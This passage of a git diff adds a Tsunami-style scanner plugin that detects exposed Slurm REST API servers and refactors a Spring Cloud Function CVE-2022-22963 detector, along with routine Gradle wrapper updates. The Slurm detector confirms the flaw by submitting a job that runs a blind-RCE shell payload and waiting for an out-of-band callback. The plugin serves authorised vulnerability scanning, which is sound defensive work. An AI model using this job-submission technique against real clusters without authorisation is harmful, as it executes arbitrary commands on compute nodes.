\"LD_LIBRARY_PATH:/lib/:/lib64/:/usr/local/lib\"" + + " ]" + + " }," + + " \"script\": \"#!/bin/bash\\n %s\"" + + "}"; + + private final HttpClient httpClient; + private final Clock utcClock; + private final int oobSleepDuration; + + @Inject + SlurmExposedRestApiDetector( + HttpClient httpClient, + @UtcClock Clock utcClock, + PayloadGenerator payloadGenerator, + @SlurmExposedRestApiOobSleepDuration int oobSleepDuration) { + this.httpClient = checkNotNull(httpClient); + this.utcClock = checkNotNull(utcClock); + this.payloadGenerator = checkNotNull(payloadGenerator); + this.oobSleepDuration = oobSleepDuration; + } + + @Override + public DetectionReportList detect( + TargetInfo targetInfo, ImmutableList matchedServices) { + logger.atInfo().log("SlurmRestApiDaemonRceVulnDetector starts detecting."); + + return DetectionReportList.newBuilder() + .addAllDetectionReports( + matchedServices.stream() + .filter(this::isServiceVulnerable) + .map(networkService -> buildDetectionReport(targetInfo, networkService)) + .collect(toImmutableList())) + .build(); + } + + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("SlurmExposedRestApi")) + .setSeverity(Severity.CRITICAL) + .setTitle("Exposed Slurm REST API Server") + .setDescription( + "An exposed Slurm REST API server can be exploited by attackers to submit a job" + + " and therefore execute arbitrary OS-level commands on Slurm compute" + + " nodes") + .setRecommendation( + "Set proper authentication for the Slurm Rest API server and " + + "ensure the API is not publicly exposed through a " + + "misconfigured reverse proxy.") + .build()); + } + + private boolean isServiceVulnerable(NetworkService networkService) { + final String rootUri = buildWebApplicationRootUrl(networkService); + + HttpResponse openapiV3Response = null; + try { + openapiV3Response = + httpClient.send(get(rootUri + "openapi/v3").withEmptyHeaders().build(), networkService); + } catch (IOException e) { + logger.atWarning().withCause(e).log("Request to target %s failed", rootUri); + return false; + } + if (openapiV3Response.status() != HttpStatus.OK || openapiV3Response.bodyString().isEmpty()) { + return false; + } + Matcher m = GET_PATTERN.matcher(openapiV3Response.bodyString().get()); + if (!m.find()) { + return false; + } + String apiVersion = m.group(1); + + var payload = getTsunamiCallbackHttpPayload(); + if (payload == null || !payload.getPayloadAttributes().getUsesCallbackServer()) { + logger.atWarning().log( + "The Tsunami callback server is not setup for this environment, so we cannot confirm the" + + " RCE callback"); + return false; + } + String cmd = payload.getPayload(); + + try { + // Submitting a slurm job + httpClient.send( + post(String.format(rootUri + "slurm/%s/job/submit", apiVersion)) + .setHeaders(HttpHeaders.builder().addHeader(CONTENT_TYPE, "application/json").build()) + .setRequestBody(ByteString.copyFromUtf8(String.format(JOB_PAYLOAD, cmd))) + .build(), + networkService); + } catch (RuntimeException | IOException e) { + logger.atWarning().withCause(e).log("Request to target %s failed", rootUri); + return false; + } + + // If there is an RCE, the execution isn't immediate + logger.atInfo().log("Waiting for RCE callback."); + Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(oobSleepDuration)); + if (payload.checkIfExecuted()) { + logger.atInfo().log("RCE payload executed!"); + return true; + } + return false; + } + + private @Nullable Payload getTsunamiCallbackHttpPayload() { + try { + return this.payloadGenerator.generate( + PayloadGeneratorConfig.newBuilder() + .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.BLIND_RCE) + .setInterpretationEnvironment( + PayloadGeneratorConfig.InterpretationEnvironment.LINUX_SHELL) + .setExecutionEnvironment( + PayloadGeneratorConfig.ExecutionEnvironment.EXEC_INTERPRETATION_ENVIRONMENT) + .build()); + } catch (NotImplementedException n) { + return null; + } + } + + private DetectionReport buildDetectionReport( + TargetInfo targetInfo, NetworkService vulnerableNetworkService) { + return DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(vulnerableNetworkService) + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability(this.getAdvisories().get(0)) + .build(); + } + + private static final Pattern GET_PATTERN = + Pattern.compile("\"\\\\/slurm\\\\/(v0.0.\\d\\d)\\\\/job\\\\/submit\""); +} diff --git a/community/detectors/slurm_exposed_rest_api/src/main/java/com/google/tsunami/plugins/detectors/rce/SlurmExposedRestApiDetectorAnnotations.java b/community/detectors/slurm_exposed_rest_api/src/main/java/com/google/tsunami/plugins/detectors/rce/SlurmExposedRestApiDetectorAnnotations.java new file mode 100644 index 000000000..ea245fc41 --- /dev/null +++ b/community/detectors/slurm_exposed_rest_api/src/main/java/com/google/tsunami/plugins/detectors/rce/SlurmExposedRestApiDetectorAnnotations.java @@ -0,0 +1,35 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.rce; + +import static java.lang.annotation.ElementType.FIELD; +import static java.lang.annotation.ElementType.METHOD; +import static java.lang.annotation.ElementType.PARAMETER; + +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import javax.inject.Qualifier; + +/** Annotation for {@link SlurmExposedRestApiDetector}. */ +final class SlurmExposedRestApiDetectorAnnotations { + @Qualifier + @Retention(RetentionPolicy.RUNTIME) + @Target({PARAMETER, METHOD, FIELD}) + @interface SlurmExposedRestApiOobSleepDuration {} + + private SlurmExposedRestApiDetectorAnnotations() {} +} diff --git a/community/detectors/slurm_exposed_rest_api/src/main/java/com/google/tsunami/plugins/detectors/rce/SlurmExposedRestApiDetectorBootstrapModule.java b/community/detectors/slurm_exposed_rest_api/src/main/java/com/google/tsunami/plugins/detectors/rce/SlurmExposedRestApiDetectorBootstrapModule.java new file mode 100644 index 000000000..dc776cc24 --- /dev/null +++ b/community/detectors/slurm_exposed_rest_api/src/main/java/com/google/tsunami/plugins/detectors/rce/SlurmExposedRestApiDetectorBootstrapModule.java @@ -0,0 +1,41 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.rce; + +import com.google.inject.Provides; +import com.google.tsunami.plugin.PluginBootstrapModule; +import com.google.tsunami.plugins.detectors.rce.SlurmExposedRestApiDetectorAnnotations.SlurmExposedRestApiOobSleepDuration; + +/** + * An Exposed Slurm Rest Server Detector Guice module that bootstraps the {@link + * SlurmExposedRestApiDetector}. + */ +public final class SlurmExposedRestApiDetectorBootstrapModule extends PluginBootstrapModule { + + @Override + protected void configurePlugin() { + registerPlugin(SlurmExposedRestApiDetector.class); + } + + @Provides + @SlurmExposedRestApiOobSleepDuration + int provideOobSleepDuration(SlurmExposedRestApiDetectorConfigs configs) { + if (configs.oobSleepDuration == 0) { + return 10; + } + return configs.oobSleepDuration; + } +} diff --git a/community/detectors/slurm_exposed_rest_api/src/main/java/com/google/tsunami/plugins/detectors/rce/SlurmExposedRestApiDetectorConfigs.java b/community/detectors/slurm_exposed_rest_api/src/main/java/com/google/tsunami/plugins/detectors/rce/SlurmExposedRestApiDetectorConfigs.java new file mode 100644 index 000000000..e4edc80c9 --- /dev/null +++ b/community/detectors/slurm_exposed_rest_api/src/main/java/com/google/tsunami/plugins/detectors/rce/SlurmExposedRestApiDetectorConfigs.java @@ -0,0 +1,23 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.rce; + +import com.google.tsunami.common.config.annotations.ConfigProperties; + +@ConfigProperties("plugins.community.detectors.slurm_exposed_rest_api") +final class SlurmExposedRestApiDetectorConfigs { + int oobSleepDuration; +} diff --git a/community/detectors/slurm_exposed_rest_api/src/test/java/com/google/tsunami/plugins/detectors/rce/SlurmExposedRestApiDaemonVuLnDetectorTest.java b/community/detectors/slurm_exposed_rest_api/src/test/java/com/google/tsunami/plugins/detectors/rce/SlurmExposedRestApiDaemonVuLnDetectorTest.java new file mode 100644 index 000000000..effe0fdfd --- /dev/null +++ b/community/detectors/slurm_exposed_rest_api/src/test/java/com/google/tsunami/plugins/detectors/rce/SlurmExposedRestApiDaemonVuLnDetectorTest.java @@ -0,0 +1,176 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.google.tsunami.plugins.detectors.rce; + +import static com.google.common.truth.Truth.assertThat; +import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; +import static com.google.tsunami.plugins.detectors.rce.SlurmExposedRestApiDetector.JOB_PAYLOAD; + +import com.google.common.collect.ImmutableList; +import com.google.inject.Guice; +import com.google.inject.testing.fieldbinder.Bind; +import com.google.inject.testing.fieldbinder.BoundFieldModule; +import com.google.inject.util.Modules; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.net.http.HttpClientModule; +import com.google.tsunami.common.net.http.HttpStatus; +import com.google.tsunami.common.time.testing.FakeUtcClock; +import com.google.tsunami.common.time.testing.FakeUtcClockModule; +import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; +import com.google.tsunami.plugin.payload.testing.PayloadTestHelper; +import com.google.tsunami.plugins.detectors.rce.SlurmExposedRestApiDetectorAnnotations.SlurmExposedRestApiOobSleepDuration; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.TargetInfo; +import java.io.IOException; +import java.nio.charset.StandardCharsets; +import java.security.SecureRandom; +import java.time.Instant; +import java.util.Arrays; +import java.util.Objects; +import javax.inject.Inject; +import okhttp3.mockwebserver.Dispatcher; +import okhttp3.mockwebserver.MockResponse; +import okhttp3.mockwebserver.MockWebServer; +import okhttp3.mockwebserver.RecordedRequest; +import org.junit.After; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** Unit tests for {@link SlurmExposedRestApiDetector}. */ +@RunWith(JUnit4.class) +public final class SlurmExposedRestApiDaemonVuLnDetectorTest { + private final FakeUtcClock fakeUtcClock = + FakeUtcClock.create().setNow(Instant.parse("2024-12-03T00:00:00.00Z")); + + private final MockWebServer mockTargetService = new MockWebServer(); + private final MockWebServer mockCallbackServer = new MockWebServer(); + + @Inject private SlurmExposedRestApiDetector detector; + + TargetInfo targetInfo; + NetworkService targetNetworkService; + private final SecureRandom testSecureRandom = + new SecureRandom() { + @Override + public void nextBytes(byte[] bytes) { + Arrays.fill(bytes, (byte) 0xFF); + } + }; + + @Bind(lazy = true) + @SlurmExposedRestApiOobSleepDuration + private int sleepDuration = 1; + + @Before + public void setUp() throws IOException { + mockCallbackServer.start(); + Guice.createInjector( + new FakeUtcClockModule(fakeUtcClock), + new HttpClientModule.Builder().build(), + FakePayloadGeneratorModule.builder() + .setCallbackServer(mockCallbackServer) + .setSecureRng(testSecureRandom) + .build(), + Modules.override(new SlurmExposedRestApiDetectorBootstrapModule()) + .with(BoundFieldModule.of(this))) + .injectMembers(this); + } + + @After + public void tearDown() throws Exception { + mockTargetService.shutdown(); + mockCallbackServer.shutdown(); + } + + @Test + public void detect_whenVulnerable_returnsVulnerability() throws IOException { + startMockWebServer(); + mockCallbackServer.enqueue(PayloadTestHelper.generateMockSuccessfulCallbackResponse()); + + DetectionReportList detectionReports = + detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); + + assertThat(detectionReports.getDetectionReportsList()) + .containsExactly( + DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(targetNetworkService) + .setDetectionTimestamp( + Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability(detector.getAdvisories().get(0)) + .build()); + assertThat(mockTargetService.getRequestCount()).isEqualTo(2); + assertThat(mockCallbackServer.getRequestCount()).isEqualTo(1); + } + + @Test + public void detect_ifNotVulnerable_doesNotReportVuln() throws IOException { + startMockWebServer(); + mockCallbackServer.enqueue(new MockResponse().setResponseCode(HttpStatus.NOT_FOUND.code())); + DetectionReportList detectionReports = + detector.detect(targetInfo, ImmutableList.of(targetNetworkService)); + assertThat(detectionReports.getDetectionReportsList()).isEmpty(); + assertThat(mockTargetService.getRequestCount()).isEqualTo(2); + } + + private void startMockWebServer() throws IOException { + final Dispatcher dispatcher = + new Dispatcher() { + @Override + public MockResponse dispatch(RecordedRequest request) { + if (Objects.equals(request.getPath(), "/openapi/v3") + && request.getMethod().equals("GET") + && request.getBody().readString(StandardCharsets.UTF_8).isEmpty()) { + return new MockResponse() + .setBody( + "\"\\/slurm\\/v0.0.39\\/job\\/submit\": " + + "{\"post\": {\"tags\": [\"slurm\"],},") + .setResponseCode(200); + } + if (request.getPath().matches("/slurm/v0\\.0\\.\\d\\d/job/submit") + && request.getMethod().equals("POST") + && request.getBody().readString(StandardCharsets.UTF_8).isEmpty() + && request + .getBody() + .readString(StandardCharsets.UTF_8) + .startsWith(JOB_PAYLOAD.substring(0, 60))) { + return new MockResponse().setResponseCode(200); + } + return new MockResponse().setResponseCode(403); + } + }; + mockTargetService.setDispatcher(dispatcher); + mockTargetService.start(); + + targetNetworkService = + NetworkService.newBuilder() + .setNetworkEndpoint( + forHostnameAndPort(mockTargetService.getHostName(), mockTargetService.getPort())) + .addSupportedHttpMethods("POST") + .build(); + targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(targetNetworkService.getNetworkEndpoint()) + .build(); + } +} diff --git a/community/detectors/spring_cloud_function_cve_2022_22963/gradle/wrapper/gradle-wrapper.jar b/community/detectors/spring_cloud_function_cve_2022_22963/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/community/detectors/spring_cloud_function_cve_2022_22963/gradle/wrapper/gradle-wrapper.jar and b/community/detectors/spring_cloud_function_cve_2022_22963/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/spring_cloud_function_cve_2022_22963/gradle/wrapper/gradle-wrapper.properties b/community/detectors/spring_cloud_function_cve_2022_22963/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/spring_cloud_function_cve_2022_22963/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/spring_cloud_function_cve_2022_22963/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/spring_cloud_function_cve_2022_22963/gradlew b/community/detectors/spring_cloud_function_cve_2022_22963/gradlew index 1aa94a426..23d15a936 100755 --- a/community/detectors/spring_cloud_function_cve_2022_22963/gradlew +++ b/community/detectors/spring_cloud_function_cve_2022_22963/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/spring_cloud_function_cve_2022_22963/gradlew.bat b/community/detectors/spring_cloud_function_cve_2022_22963/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/community/detectors/spring_cloud_function_cve_2022_22963/gradlew.bat +++ b/community/detectors/spring_cloud_function_cve_2022_22963/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/community/detectors/spring_cloud_function_cve_2022_22963/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202222963/Cve202222963VulnDetector.java b/community/detectors/spring_cloud_function_cve_2022_22963/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202222963/Cve202222963VulnDetector.java index 1bc2620a1..d9a49299c 100644 --- a/community/detectors/spring_cloud_function_cve_2022_22963/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202222963/Cve202222963VulnDetector.java +++ b/community/detectors/spring_cloud_function_cve_2022_22963/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202222963/Cve202222963VulnDetector.java @@ -94,6 +94,23 @@ public DetectionReportList detect( .build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE_2022_22963")) + .addRelatedId( + VulnerabilityId.newBuilder().setPublisher("CVE").setValue("CVE-2022-22963")) + .setSeverity(Severity.CRITICAL) + .setTitle("Spring Cloud Function SpEL Code Injection RCE (CVE-2022-22963)") + .setRecommendation("Users of affected versions should upgrade to 3.1.7, 3.2.3.") + .setDescription(VULN_DESCRIPTION) + .build()); + } + private boolean isServiceVulnerable(NetworkService networkService) { PayloadGeneratorConfig config = PayloadGeneratorConfig.newBuilder() @@ -132,16 +149,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2022_22963")) - .setSeverity(Severity.CRITICAL) - .setTitle("Spring Cloud Function SpEL Code Injection RCE (CVE-2022-22963)") - .setRecommendation("Users of affected versions should upgrade to 3.1.7, 3.2.3.") - .setDescription(VULN_DESCRIPTION)) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/community/detectors/spring_cloud_function_cve_2022_22963/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202222963/Cve202222963VulnDetectorTest.java b/community/detectors/spring_cloud_function_cve_2022_22963/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202222963/Cve202222963VulnDetectorTest.java index 1b539eca6..8614b6557 100644 --- a/community/detectors/spring_cloud_function_cve_2022_22963/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202222963/Cve202222963VulnDetectorTest.java +++ b/community/detectors/spring_cloud_function_cve_2022_22963/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202222963/Cve202222963VulnDetectorTest.java @@ -31,12 +31,9 @@ import com.google.tsunami.proto.DetectionReportList; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.security.SecureRandom; import java.time.Instant; @@ -121,17 +118,7 @@ public void detect_withCallbackServer_onVulnerableTarget_returnsVulnerability() .setDetectionTimestamp( Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("TSUNAMI_COMMUNITY") - .setValue("CVE_2022_22963")) - .setSeverity(Severity.CRITICAL) - .setTitle("Spring Cloud Function SpEL Code Injection RCE (CVE-2022-22963)") - .setRecommendation( - "Users of affected versions should upgrade to " + "3.1.7, 3.2.3.") - .setDescription(Cve202222963VulnDetector.VULN_DESCRIPTION)) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/community/detectors/spring_cloud_gateway_cve_2022_22947/gradle/wrapper/gradle-wrapper.jar b/community/detectors/spring_cloud_gateway_cve_2022_22947/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/community/detectors/spring_cloud_gateway_cve_2022_22947/gradle/wrapper/gradle-wrapper.jar and b/community/detectors/spring_cloud_gateway_cve_2022_22947/gradle/wrapper/gradle-wrapper.jar differ diff --git a/community/detectors/spring_cloud_gateway_cve_2022_22947/gradle/wrapper/gradle-wrapper.properties b/community/detectors/spring_cloud_gateway_cve_2022_22947/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/community/detectors/spring_cloud_gateway_cve_2022_22947/gradle/wrapper/gradle-wrapper.properties +++ b/community/detectors/spring_cloud_gateway_cve_2022_22947/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/community/detectors/spring_cloud_gateway_cve_2022_22947/gradlew b/community/detectors/spring_cloud_gateway_cve_2022_22947/gradlew index 1aa94a426..23d15a936 100755 --- a/community/detectors/spring_cloud_gateway_cve_2022_22947/gradlew +++ b/community/detectors/spring_cloud_gateway_cve_2022_22947/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/community/detectors/spring_cloud_gateway_cve_2022_22947/gradlew.bat b/community/detectors/spring_cloud_gateway_cve_2022_22947/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/community/detectors/spring_cloud_gateway_cve_2022_22947/gradlew.bat +++ b/community/detectors/spring_cloud_gateway_cve_2022_22947/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= 